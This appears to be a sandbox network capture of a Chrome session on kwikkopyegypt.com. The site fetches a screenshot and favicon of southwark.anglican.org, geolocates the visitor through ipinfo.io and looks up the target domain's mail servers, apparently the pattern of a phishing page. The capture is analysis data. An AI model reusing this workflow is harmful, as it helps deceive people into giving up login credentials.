2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 65 73 70 6f 6e 73 65 26 26 28 74 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 3d 69 28 74 2e 72 65 73 70 6f 6e 73 65 2e 64 61 74 61 2c 74 2e 72 65 73 70 6f 6e 73 65 2e 68 65 61 64 65 72 73 2c 65 2e 74 72 61 6e 73 66 6f 72 6d 52 65 73 70 6f 6e 73 65 29 29 29 2c 50 72 6f 6d 69 73 65 2e 72 65 6a 65 63 74 28 74 29 7d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 66 6f 72 45 61 63 68 28 6e 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 65 3d 6e 28 65 2c 74 29 7d 29 2c 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 65 78 70 6f 72 74 Data Ascii: esponse&&(t.response.data=i(t.response.data,t.response.headers,e.transformResponse))),Promise.reject(t)})}},function(e,t,n){"use strict";var r=n(2);e.exports=function(e,t,n){return r.forEach(n,function(n){e=n(e,t)}),e}},function(e,t){"use strict";e.export
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 5b 22 64 65 6c 65 74 65 22 2c 22 67 65 74 22 2c 22 68 65 61 64 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 75 2e 68 65 61 64 65 72 73 5b 65 5d 3d 7b 7d 7d 29 2c 69 2e 66 6f 72 45 61 63 68 28 5b 22 70 6f 73 74 22 2c 22 70 75 74 22 2c 22 70 61 74 63 68 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 75 2e 68 65 61 64 65 72 73 5b 65 5d 3d 69 2e 6d 65 72 67 65 28 61 29 7d 29 2c 65 2e 65 78 70 6f 72 74 73 3d 75 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 2e 66 6f 72 45 61 63 68 28 65 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 72 21 3d 3d 74 26 26 72 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3d 3d 3d 74 2e Data Ascii: ["delete","get","head"],function(e){u.headers[e]={}}),i.forEach(["post","put","patch"],function(e){u.headers[e]=i.merge(a)}),e.exports=u},function(e,t,n){"use strict";var r=n(2);e.exports=function(e,t){r.forEach(e,function(n,r){r!==t&&r.toUpperCase()===t.
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 6f 75 74 20 6f 66 20 22 2b 65 2e 74 69 6d 65 6f 75 74 2b 22 6d 73 20 65 78 63 65 65 64 65 64 22 3b 65 2e 74 69 6d 65 6f 75 74 45 72 72 6f 72 4d 65 73 73 61 67 65 26 26 28 74 3d 65 2e 74 69 6d 65 6f 75 74 45 72 72 6f 72 4d 65 73 73 61 67 65 29 2c 6e 28 66 28 74 2c 65 2c 22 45 43 4f 4e 4e 41 42 4f 52 54 45 44 22 2c 6c 29 29 2c 6c 3d 6e 75 6c 6c 7d 2c 72 2e 69 73 53 74 61 6e 64 61 72 64 42 72 6f 77 73 65 72 45 6e 76 28 29 29 7b 76 61 72 20 67 3d 28 65 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 7c 7c 63 28 79 29 29 26 26 65 2e 78 73 72 66 43 6f 6f 6b 69 65 4e 61 6d 65 3f 69 2e 72 65 61 64 28 65 2e 78 73 72 66 43 6f 6f 6b 69 65 4e 61 6d 65 29 3a 76 6f 69 64 20 30 3b 67 26 26 28 64 5b 65 2e 78 73 72 66 48 65 61 64 65 72 4e 61 6d 65 5d 3d 67 29 7d 69 66 28 Data Ascii: out of "+e.timeout+"ms exceeded";e.timeoutErrorMessage&&(t=e.timeoutErrorMessage),n(f(t,e,"ECONNABORTED",l)),l=null},r.isStandardBrowserEnv()){var g=(e.withCredentials\|\|c(y))&&e.xsrfCookieName?i.read(e.xsrfCookieName):void 0;g&&(d[e.xsrfHeaderName]=g)}if(
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 67 65 2c 6e 61 6d 65 3a 74 68 69 73 2e 6e 61 6d 65 2c 64 65 73 63 72 69 70 74 69 6f 6e 3a 74 68 69 73 2e 64 65 73 63 72 69 70 74 69 6f 6e 2c 6e 75 6d 62 65 72 3a 74 68 69 73 2e 6e 75 6d 62 65 72 2c 66 69 6c 65 4e 61 6d 65 3a 74 68 69 73 2e 66 69 6c 65 4e 61 6d 65 2c 6c 69 6e 65 4e 75 6d 62 65 72 3a 74 68 69 73 2e 6c 69 6e 65 4e 75 6d 62 65 72 2c 63 6f 6c 75 6d 6e 4e 75 6d 62 65 72 3a 74 68 69 73 2e 63 6f 6c 75 6d 6e 4e 75 6d 62 65 72 2c 73 74 61 63 6b 3a 74 68 69 73 2e 73 74 61 63 6b 2c 63 6f 6e 66 69 67 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2c 63 6f 64 65 3a 74 68 69 73 2e 63 6f 64 65 7d 7d 2c 65 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 32 29 3b 65 2e 65 78 70 6f 72 74 73 3d 72 Data Ascii: ge,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:this.config,code:this.code}},e}},function(e,t,n){"use strict";var r=n(2);e.exports=r
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 72 65 66 65 72 65 72 22 2c 22 72 65 74 72 79 2d 61 66 74 65 72 22 2c 22 75 73 65 72 2d 61 67 65 6e 74 22 5d 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 69 2c 73 3d 7b 7d 3b 72 65 74 75 72 6e 20 65 3f 28 72 2e 66 6f 72 45 61 63 68 28 65 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 69 3d 65 2e 69 6e 64 65 78 4f 66 28 22 3a 22 29 2c 74 3d 72 2e 74 72 69 6d 28 65 2e 73 75 62 73 74 72 28 30 2c 69 29 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 3d 72 2e 74 72 69 6d 28 65 2e 73 75 62 73 74 72 28 69 2b 31 29 29 2c 74 29 7b 69 66 28 73 5b 74 5d 26 26 6f 2e 69 6e 64 65 78 4f 66 28 74 29 3e 3d 30 29 72 65 74 75 72 6e 3b 22 73 65 74 2d 63 6f 6f 6b 69 65 22 3d 3d 3d 74 3f 73 Data Ascii: referer","retry-after","user-agent"];e.exports=function(e){var t,n,i,s={};return e?(r.forEach(e.split("\n"),function(e){if(i=e.indexOf(":"),t=r.trim(e.substr(0,i)).toLowerCase(),n=r.trim(e.substr(i+1)),t){if(s[t]&&o.indexOf(t)>=0)return;"set-cookie"===t?s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.25	49763	216.58.206.36	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:48 UTC	707	OUT	GET /s2/favicons?domain=?v=BUILD_HASH HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJe2yQEIo7bJAQiKksoBCKmdygEIv4TLAQiUocsBCIWgzQEI4tDOAQid0s4BCI7TzgEY9snNAQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:49 UTC	313	IN	HTTP/1.1 404 Not Found Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 10 Mar 2025 12:50:49 GMT Server: sffe Content-Length: 1593 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-10 12:50:49 UTC	1065	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-se

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.25	49764	54.156.104.133	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:49 UTC	625	OUT	GET /get/width/1200/http://southwark.anglican.org HTTP/1.1 Host: image.thum.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:50 UTC	268	IN	HTTP/1.1 403 Date: Mon, 10 Mar 2025 12:50:49 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT
2025-03-10 12:50:50 UTC	39	IN	Data Raw: 32 31 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 b0 08 06 00 00 00 eb 21 b3 cf 0d 0a Data Ascii: 21PNGIHDR!
2025-03-10 12:50:50 UTC	8194	IN	Data Raw: 31 66 66 61 0d 0a 00 00 47 a9 49 44 41 54 78 5e ec d8 5b 6e e3 c0 96 6d d1 db ff 4e d7 fd a9 04 0e 26 8a 87 c1 78 48 b4 3d 06 b0 7e 2c ee b5 43 4e a5 44 eb ff fd 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1ffaGIDATx^[nmN&xH=~,CND?
2025-03-10 12:50:50 UTC	5792	IN	Data Raw: 31 36 39 38 0d 0a dc 68 66 b5 67 34 4f 75 fe 2a 6f d7 f3 36 a7 74 cf ea be f6 8c e6 a9 ce 5f e5 6d 7a be 66 b7 f6 5f e5 a9 ce 5f 65 56 7b 9e 06 00 e0 e3 7a 43 72 fa c6 a4 7b 9a 51 9d 6b 66 b5 e7 2a a3 3a 77 95 5d da 3b db df f9 ab 8c ea dc 55 9e ea fc 6c cf 3f ed b9 ca a8 ce 5d e5 db 7a 9e ab 3c d5 f9 dd 3d b3 7d ff b4 e7 2a a3 3a 37 9a 59 ed 19 cd 53 9d bf ca db f5 bc cd 29 dd b3 ba af 3d a3 79 aa f3 57 79 9b 9e af d9 ad fd 57 79 aa f3 57 99 d5 9e a7 01 00 f8 b8 de 90 9c be 31 e9 9e 66 54 e7 9a 59 ed 69 66 b5 a7 79 ab 9e b3 19 d5 b9 e6 2d 7a ae 66 56 7b 9a 6f eb 79 9a 6f eb 79 9a 59 ed 69 56 b5 ef 2a b3 da 73 97 55 ed 6b de ae e7 6d 4e e9 9e d5 7d ed b9 cb aa f6 35 6f d3 f3 35 bb b5 bf 59 d5 be 66 56 7b ee 02 00 f0 75 bd 41 39 7d a3 d2 3d cd a8 ce 35 b3 Data Ascii: 1698hfg4Ouo6t_mzf__eV{zCr{Qkf:w];Ul?]z<=}:7YS)=yWyWyW1fTYify-zfV{oyoyYiVsUkmN}5o5YfV{uA9}=5
2025-03-10 12:50:50 UTC	4407	IN	Data Raw: 31 31 32 66 0d 0a 66 75 ae 39 ad fb be b5 f7 93 de 33 ca 2e ed 7d da df b9 e6 96 de d1 dc d2 3b 9a d3 ba af 99 d5 b9 e6 94 ee 79 bb af 3d cd 29 dd b3 6b 5f fb 76 f5 02 00 c0 92 3e 4c 9b dd da 7f 6a cf 53 bd a7 39 ad fb 9e ee ed 5c b3 5b fb 57 f7 74 be 99 d5 b9 e6 b4 ee fb d6 de 4f 7a 4f b3 5b fb 9f ee e9 5c 73 4b ef 68 6e e9 1d cd 69 dd d7 cc ea 5c 73 4a f7 bc dd d7 9e e6 94 ee d9 b5 af 7d bb 7a 01 00 60 49 1f a6 cd 6e ed 3f b5 e7 a9 de d3 9c d6 7d 4f f7 76 ae d9 ad fd ab 7b 3a df cc ea 5c 73 5a f7 7d 6b ef 27 bd a7 d9 ad fd 4f f7 74 ae b9 a5 77 34 b7 f4 8e e6 b4 ee 6b 66 75 ae 39 a5 7b de ee 6b 4f 73 4a f7 ec da d7 be 5d bd 00 00 b0 a4 0f d3 66 b7 f6 9f da f3 54 ef 69 4e e9 9e 66 56 e7 9a dd da bf ba a7 f3 cd ac ce 35 a7 74 4f 73 5b ef 69 76 6b ff ea 9e Data Ascii: 112ffu93.};y=)k_v>LjS9\[WtOzO[\sKhni\sJ}z`In?}Ov{:\sZ}k'Otw4kfu9{kOsJ]fTiNfV5tOs[ivk
2025-03-10 12:50:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.25	49766	216.58.206.36	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:53 UTC	687	OUT	GET /s2/favicons?domain=southwark.anglican.org HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Origin: https://kwikkopyegypt.com X-Client-Data: CJe2yQEIo7bJAQiKksoBCKmdygEIv4TLAQiUocsBCIWgzQEI4tDOAQid0s4BCI7TzgEY9snNAQ== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:53 UTC	494	IN	HTTP/1.1 301 Moved Permanently Location: https://t2.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,SIZE,URL&url=http://southwark.anglican.org&size=16 Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Date: Mon, 10 Mar 2025 12:50:53 GMT Expires: Mon, 10 Mar 2025 13:20:53 GMT Cache-Control: public, max-age=1800 Server: sffe Content-Length: 342 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-10 12:50:53 UTC	342	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 74 32 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 56 32 3f 63 6c 69 65 6e 74 3d 53 4f 43 49 41 4c 26 61 6d 70 3b 74 79 70 65 3d 46 41 56 49 43 4f 4e 26 61 6d 70 3b 66 61 6c 6c 62 61 63 6b 5f 6f 70 74 73 3d 54 59 50 45 2c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>301 Moved</TITLE></HEAD><BODY><H1>301 Moved</H1>The document has moved<A HREF="https://t2.gstatic.com/faviconV2?client=SOCIAL&type=FAVICON&fallback_opts=TYPE,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.25	60648	34.117.59.81	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:12 UTC	552	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: / Origin: https://kwikkopyegypt.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:12 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 317 content-type: application/json; charset=utf-8 date: Mon, 10 Mar 2025 12:51:12 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-10 12:51:12 UTC	317	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 36 37 2e 38 32 2e 31 31 36 2e 31 31 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 6f 6f 6c 2d 34 33 35 32 37 34 37 37 2e 64 79 6e 2e 6f 70 74 6f 6e 6c 69 6e 65 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 45 6c 69 7a 61 62 65 74 68 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 4a 65 72 73 65 79 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 36 36 34 30 2c 2d 37 34 2e 32 31 30 37 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 36 31 32 38 20 43 61 62 6c 65 76 69 73 69 6f 6e 20 53 79 73 74 65 6d 73 20 43 6f 72 70 2e 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 30 37 32 30 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d Data Ascii: { "ip": "67.82.116.119", "hostname": "ool-43527477.dyn.optonline.net", "city": "Elizabeth", "region": "New Jersey", "country": "US", "loc": "40.6640,-74.2107", "org": "AS6128 Cablevision Systems Corp.", "postal": "07207", "timezone": "Am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.25	60650	34.117.59.81	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:14 UTC	343	OUT	GET /json HTTP/1.1 Host: ipinfo.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:15 UTC	345	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 317 content-type: application/json; charset=utf-8 date: Mon, 10 Mar 2025 12:51:15 GMT x-content-type-options: nosniff via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-10 12:51:15 UTC	317	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 36 37 2e 38 32 2e 31 31 36 2e 31 31 39 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 6f 6f 6c 2d 34 33 35 32 37 34 37 37 2e 64 79 6e 2e 6f 70 74 6f 6e 6c 69 6e 65 2e 6e 65 74 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 45 6c 69 7a 61 62 65 74 68 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 4a 65 72 73 65 79 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 36 36 34 30 2c 2d 37 34 2e 32 31 30 37 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 36 31 32 38 20 43 61 62 6c 65 76 69 73 69 6f 6e 20 53 79 73 74 65 6d 73 20 43 6f 72 70 2e 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 30 37 32 30 37 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d Data Ascii: { "ip": "67.82.116.119", "hostname": "ool-43527477.dyn.optonline.net", "city": "Elizabeth", "region": "New Jersey", "country": "US", "loc": "40.6640,-74.2107", "org": "AS6128 Cablevision Systems Corp.", "postal": "07207", "timezone": "Am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.25	60649	8.8.8.8	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:14 UTC	592	OUT	GET /resolve?name=southwark.anglican.org&type=MX HTTP/1.1 Host: dns.google Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 Accept: / Origin: https://kwikkopyegypt.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:15 UTC	547	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Date: Mon, 10 Mar 2025 12:51:15 GMT Expires: Mon, 10 Mar 2025 12:51:15 GMT Cache-Control: private, max-age=600 Content-Type: application/json; charset=UTF-8 Server: HTTP server (unknown) X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-10 12:51:15 UTC	380	IN	Data Raw: 31 37 35 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 2e 22 2c 22 74 79 70 65 22 3a 31 35 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 73 6f 75 74 68 77 61 72 6b 2e 61 6e 67 6c 69 63 61 6e 2e 6f 72 67 2e 22 2c 22 74 79 70 65 22 3a 31 35 2c 22 54 54 4c 22 3a 36 30 30 2c 22 64 61 74 61 22 3a 22 32 30 20 65 75 2d 73 6d 74 70 2d 69 6e 62 6f 75 6e 64 2d 32 2e 6d 69 6d 65 63 61 73 74 2e 63 6f 6d 2e 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 73 6f 75 74 68 77 61 72 6b Data Ascii: 175{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"southwark.anglican.org.","type":15}],"Answer":[{"name":"southwark.anglican.org.","type":15,"TTL":600,"data":"20 eu-smtp-inbound-2.mimecast.com."},{"name":"southwark
2025-03-10 12:51:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.25	60652	8.8.4.4	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:51:17 UTC	383	OUT	GET /resolve?name=southwark.anglican.org&type=MX HTTP/1.1 Host: dns.google Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:51:17 UTC	547	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Date: Mon, 10 Mar 2025 12:51:17 GMT Expires: Mon, 10 Mar 2025 12:51:17 GMT Cache-Control: private, max-age=600 Content-Type: application/json; charset=UTF-8 Server: HTTP server (unknown) X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
